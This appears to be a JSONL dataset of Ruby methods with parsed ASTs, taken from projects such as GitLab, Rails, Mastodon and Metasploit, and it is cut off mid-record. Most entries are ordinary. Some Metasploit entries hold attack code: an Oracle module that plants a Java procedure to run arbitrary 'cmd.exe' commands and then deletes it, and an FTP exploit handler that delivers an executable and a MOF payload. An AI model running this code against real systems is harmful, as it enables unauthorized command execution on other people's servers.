{"repo_name":"aasm","file_path":"./repos/aasm/spec/models/callbacks/guard_within_block.rb","start_line":60,"raw_source":"def transition_guard; log('transition_guard'); !@fail_transition_guard; end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"transition_guard\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"transition_guard\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fail_transition_guard\"]},\"!\"]}]}]}","id":"b5e4d6d3-b2d6-4d6c-a10b-be66326b5c39"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/kerberos/client.rb","start_line":108,"raw_source":"def disconnect(kerb_client = kerberos_client)\n            kerb_client.close if kerb_client\n\n            if kerb_client == kerberos_client\n              self.kerberos_client = nil\n            end\n          end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"disconnect\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"kerb_client\",{\"type\":\"send\",\"children\":[null,\"kerberos_client\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kerb_client\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kerb_client\"]},\"close\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kerb_client\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"kerberos_client\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"kerberos_client=\",{\"type\":\"nil\",\"children\":[]}]},null]}]}]}","id":"74959b95-aff8-4f48-8f0f-a8bee452dbfd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/pipeline_creation/requests.rb","start_line":92,"raw_source":"def request_key(project, request_id)\n          format(REQUEST_REDIS_KEY, project_id: project.id, request_id: request_id)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"request_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"request_id\"]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"REQUEST_REDIS_KEY\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request_id\"]},{\"type\":\"lvar\",\"children\":[\"request_id\"]}]}]}]}]}","id":"a48dfcdc-744c-4170-a814-9777f9f866ad"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/ip.rb","start_line":59,"raw_source":"def disconnect_ip(nsock = self.ip_sock)\n    begin\n      if (nsock)\n        nsock.close\n      end\n    rescue IOError\n    end\n\n    if (nsock == ip_sock)\n      self.ip_sock = nil\n    end\n\n    # Remove this socket from the list of sockets created by this exploit\n    remove_socket(nsock)\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"disconnect_ip\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"nsock\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"ip_sock\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nsock\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nsock\"]},\"close\"]},null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOError\"]}]},null,null]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nsock\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"ip_sock\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"ip_sock=\",{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"remove_socket\",{\"type\":\"lvar\",\"children\":[\"nsock\"]}]}]}]}","id":"1ed45c44-f49e-44d9-9d67-f42662bf1e20"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/migrate_records_to_ghost_user_service.rb","start_line":24,"raw_source":"def execute(hard_delete: false)\n      @hard_delete = hard_delete\n\n      migrate_records\n      post_migrate_records\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"hard_delete\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@hard_delete\",{\"type\":\"lvar\",\"children\":[\"hard_delete\"]}]},{\"type\":\"send\",\"children\":[null,\"migrate_records\"]},{\"type\":\"send\",\"children\":[null,\"post_migrate_records\"]}]}]}","id":"c32d9ecb-2862-4723-b97b-ddf7b1283291"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb","start_line":38,"raw_source":"def run\n    return if !check_dependencies\n\n    source = Rex::Text.rand_text_alpha_upper(1..10)\n    name = Rex::Text.rand_text_alpha_upper(1..10)\n\n    java = \"\n      create or replace and resolve java source named \\\"#{source}\\\" as\n      import java.lang.*;\n      import java.io.*;\n      public class #{source}\n      {\n      public static void execCommand (String command) throws IOException\n      {\n      Runtime.getRuntime().exec(command);\n      }\n      };\n      \"\n\n    procedure = \"\n      create or replace procedure #{name} (p_command in varchar2)\n      as language java\n      name '#{source}.execCommand (java.lang.String)';\n      \"\n\n    exec = \"begin #{name}('cmd.exe /c #{datastore['CMD']}'); end;\"\n\n    drops = \"drop java source #{source}\"\n\n    dropp = \"drop procedure #{name}\"\n\n    begin\n      print_status(\"Creating java source '#{source}'...\")\n      prepare_exec(java)\n    rescue StandardError\n      return\n    end\n\n    print_status(\"Creating procedure '#{name}'...\")\n    prepare_exec(procedure)\n\n    print_status(\"Sending command: '#{datastore['CMD']}'\")\n    prepare_exec(exec)\n\n    print_status(\"Removing java source '#{source}'...\")\n    prepare_exec(drops)\n\n    print_status(\"Removing procedure '#{name}'...\")\n    prepare_exec(dropp)\n  end","complexity_score":28.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_dependencies\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_upper\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_upper\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"java\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      create or replace and resolve java source named \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]}]},{\"type\":\"str\",\"children\":[\"\\\" as\\n\"]},{\"type\":\"str\",\"children\":[\"      import java.lang.*;\\n\"]},{\"type\":\"str\",\"children\":[\"      import java.io.*;\\n\"]},{\"type\":\"str\",\"children\":[\"      public class \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      {\\n\"]},{\"type\":\"str\",\"children\":[\"      public static void execCommand (String command) throws IOException\\n\"]},{\"type\":\"str\",\"children\":[\"      {\\n\"]},{\"type\":\"str\",\"children\":[\"      Runtime.getRuntime().exec(command);\\n\"]},{\"type\":\"str\",\"children\":[\"      }\\n\"]},{\"type\":\"str\",\"children\":[\"      };\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"procedure\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      create or replace procedure \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\" (p_command in varchar2)\\n\"]},{\"type\":\"str\",\"children\":[\"      as language java\\n\"]},{\"type\":\"str\",\"children\":[\"      name '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]}]},{\"type\":\"str\",\"children\":[\".execCommand (java.lang.String)';\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"begin \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"('cmd.exe /c \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CMD\"]}]}]},{\"type\":\"str\",\"children\":[\"'); end;\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"drops\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"drop java source \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dropp\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"drop procedure \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating java source '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]}]},{\"type\":\"str\",\"children\":[\"'...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"prepare_exec\",{\"type\":\"lvar\",\"children\":[\"java\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"return\",\"children\":[]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating procedure '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"'...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"prepare_exec\",{\"type\":\"lvar\",\"children\":[\"procedure\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending command: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CMD\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"prepare_exec\",{\"type\":\"lvar\",\"children\":[\"exec\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Removing java source '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]}]},{\"type\":\"str\",\"children\":[\"'...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"prepare_exec\",{\"type\":\"lvar\",\"children\":[\"drops\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Removing procedure '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"'...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"prepare_exec\",{\"type\":\"lvar\",\"children\":[\"dropp\"]}]}]}]}","id":"2206c2ea-f4df-4461-9623-65128a049444"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/boards_responses.rb","start_line":59,"raw_source":"def move_list(list)\n          move_list_service =\n            ::Boards::Lists::MoveService.new(board_parent, current_user, { position: params[:position].to_i })\n\n          if move_list_service.execute(list)\n            present list, with: Entities::List\n          else\n            render_api_error!({ error: \"List could not be moved!\" }, 400)\n          end\n        end","complexity_score":13.13,"ast_json":"{\"type\":\"def\",\"children\":[\"move_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"move_list_service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Boards\"]},\"Lists\"]},\"MoveService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"board_parent\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"position\"]}]},\"to_i\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"move_list_service\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"list\"]}]},{\"type\":\"send\",\"children\":[null,\"present\",{\"type\":\"lvar\",\"children\":[\"list\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entities\"]},\"List\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_api_error!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"List could not be moved!\"]}]}]},{\"type\":\"int\",\"children\":[400]}]}]}]}]}","id":"66141b05-e212-472d-950f-96a7db54d4ca"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/trends/statuses_controller.rb","start_line":29,"raw_source":"def statuses_from_trends\n    scope = Trends.statuses.query.allowed.in_locale(content_locale)\n    scope = scope.filtered_for(current_account) if user_signed_in?\n    scope\n  end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"statuses_from_trends\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Trends\"]},\"statuses\"]},\"query\"]},\"allowed\"]},\"in_locale\",{\"type\":\"send\",\"children\":[null,\"content_locale\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_signed_in?\"]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"filtered_for\",{\"type\":\"send\",\"children\":[null,\"current_account\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}","id":"ee05dbcc-2b21-4ab5-8e01-285129c39ae5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/repository_fork_worker.rb","start_line":36,"raw_source":"def branch\n    return unless target_project.import_data&.data\n\n    target_project.import_data.data['fork_branch']\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"branch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_project\"]},\"import_data\"]},\"data\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_project\"]},\"import_data\"]},\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"fork_branch\"]}]}]}]}","id":"d3fcdbdf-c472-448b-aebb-617ff0d0eb36"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":3124,"raw_source":"def test_destroy_with_bang_bubbles_errors_from_associations\n    error = assert_raises ActiveRecord::RecordNotDestroyed do\n      AuthorWithErrorDestroyingAssociation.first.destroy!\n    end\n\n    assert_instance_of PostWithErrorDestroying, error.record\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_destroy_with_bang_bubbles_errors_from_associations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotDestroyed\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AuthorWithErrorDestroyingAssociation\"]},\"first\"]},\"destroy!\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[null,\"PostWithErrorDestroying\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"record\"]}]}]}]}","id":"9956f3ed-5b64-4888-a82f-43317d25e53d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/merge_to_ref_service.rb","start_line":16,"raw_source":"def execute(merge_request)\n      @merge_request = merge_request\n\n      error_check!\n\n      commit_id = extracted_merge_to_ref\n      raise_error('Conflicts detected during merge') unless commit_id\n\n      commit = project.commit(commit_id)\n      target_id, source_id = commit.parent_ids\n\n      success(commit_id: commit.id, target_id: target_id, source_id: source_id)\n    rescue MergeError, ArgumentError => error\n      error(error.message)\n    end","complexity_score":23.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@merge_request\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[null,\"error_check!\"]},{\"type\":\"lvasgn\",\"children\":[\"commit_id\",{\"type\":\"send\",\"children\":[null,\"extracted_merge_to_ref\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit_id\"]},null,{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"str\",\"children\":[\"Conflicts detected during merge\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"commit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"commit\",{\"type\":\"lvar\",\"children\":[\"commit_id\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_id\"]},{\"type\":\"lvasgn\",\"children\":[\"source_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"parent_ids\"]}]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_id\"]},{\"type\":\"lvar\",\"children\":[\"target_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_id\"]},{\"type\":\"lvar\",\"children\":[\"source_id\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeError\"]},{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]},null]}]}","id":"4c9c873b-36d3-44c3-a2c2-8660a360214b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/statement_cache_test.rb","start_line":127,"raw_source":"def test_find_does_not_use_statement_cache_if_table_name_is_changed\n      liquid = Liquid.create(name: \"salty\")\n\n      Liquid.find(liquid.id) # warming the statement cache.\n\n      # changing the table name should change the query that is not cached.\n      Liquid.table_name = :birds\n      assert_raise ActiveRecord::RecordNotFound do\n        Liquid.find(liquid.id)\n      end\n    ensure\n      Liquid.table_name = :liquid\n    end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find_does_not_use_statement_cache_if_table_name_is_changed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"liquid\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"salty\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"liquid\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"table_name=\",{\"type\":\"sym\",\"children\":[\"birds\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"liquid\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"table_name=\",{\"type\":\"sym\",\"children\":[\"liquid\"]}]}]}]}","id":"50fc209a-cb0c-4739-812e-d79c6867f0c4"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/automation/spec/system/page_objects/discourse_automation/automation.rb","start_line":40,"raw_source":"def form\n        @form ||= find(\".discourse-automation-edit\")\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"form\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@form\"]},{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".discourse-automation-edit\"]}]}]}]}","id":"8b35a1cb-657a-4fc5-beb0-884c2d366e73"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/testing/integration.rb","start_line":358,"raw_source":"def reset!\n        @integration_session = create_session(app)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reset!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@integration_session\",{\"type\":\"send\",\"children\":[null,\"create_session\",{\"type\":\"send\",\"children\":[null,\"app\"]}]}]}]}","id":"7598d83b-ed78-44b0-89ff-9584f56e9f6b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/offense_location_keyword.rb","start_line":22,"raw_source":"def on_send(node)\n          node_type_check(node) do |node_arg, kwargs|\n            find_offending_argument(node_arg, kwargs) do |location, keyword|\n              add_offense(location, message: format(MSG, keyword: keyword)) do |corrector|\n                (*, keyword) = offending_location_argument(location.parent)\n\n                corrector.replace(location, \":#{keyword}\")\n              end\n            end\n          end\n        end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node_type_check\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node_arg\"]},{\"type\":\"arg\",\"children\":[\"kwargs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_offending_argument\",{\"type\":\"lvar\",\"children\":[\"node_arg\"]},{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"location\"]},{\"type\":\"arg\",\"children\":[\"keyword\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"location\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keyword\"]},{\"type\":\"lvar\",\"children\":[\"keyword\"]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"splat\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"keyword\"]}]},{\"type\":\"send\",\"children\":[null,\"offending_location_argument\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"parent\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"location\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keyword\"]}]}]}]}]}]}]}]}]}","id":"1bbf9280-4dac-4fcb-b251-57c5f6aa83d3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/open_ftpd_wbem.rb","start_line":80,"raw_source":"def on_client_connect(cli)\n    peer = \"#{cli.peerhost}:#{cli.peerport}\"\n\n    case @stage\n    when :exe\n      print_status(\"Sending executable (#{@exe.length.to_s} bytes)\")\n      cli.put(@exe)\n      @stage = :mof\n    when :mof\n      print_status(\"Sending MOF (#{@mof.length.to_s} bytes)\")\n      cli.put(@mof)\n    end\n\n    cli.close\n  end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_client_connect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"peer\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerport\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stage\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"exe\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending executable (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@exe\"]},\"length\"]},\"to_s\"]}]},{\"type\":\"str\",\"children\":[\" 